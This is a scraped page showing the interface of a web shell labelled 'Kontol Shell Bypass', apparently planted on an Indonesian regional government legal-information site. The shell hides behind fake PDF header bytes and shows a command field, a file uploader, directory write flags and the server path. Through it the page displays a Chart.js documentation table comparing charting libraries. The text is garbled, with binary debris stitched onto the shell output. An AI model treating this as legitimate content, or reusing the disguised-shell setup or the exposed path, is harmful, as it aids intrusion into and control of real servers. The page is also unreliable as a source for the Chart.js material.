%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/bower-asset/chartjs/docs/notes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/bower-asset/chartjs/docs/notes/comparison.md
# Comparison with Other Charting Libraries

Library Features

| Feature | Chart.js | D3 | HighCharts | Chartist |
| ------- | -------- | --- | ---------- | -------- |
| Completely Free | &check; | &check; | | &check; |
| Canvas | &check; | | | |
| SVG | | &check; | &check; | &check; |
| Built-in Charts | &check; | | &check; | &check; |
| 8+ Chart Types | &check; | &check; | &check; | |
| Extendable to Custom Charts | &check; | &check; | | |
| Supports Modern Browsers | &check; | &check; | &check; | &check; |
| Extensive Documentation | &check; | &check; | &check; | &check; |
| Open Source | &check; | &check; | | &check; |

Built in Chart Types

| Type | Chart.js | HighCharts | Chartist |
| ---- | -------- | ---------- | -------- |
| Combined Types | &check; | &check; | |
| Line | &check; | &check; | &check; |
| Bar | &check; | &check; | &check; |
| Horizontal Bar | &check; | &check; | &check; |
| Pie/Doughnut | &check; | &check; | &check; |
| Polar Area | &check; | &check; | |
| Radar | &check; | | |
| Scatter | &check; | &check; | &check; |
| Bubble | &check; | | |
| Gauges | | &check; | |
| Maps (Heat/Tree/etc.) | | &check; | |

Kontol Shell Bypass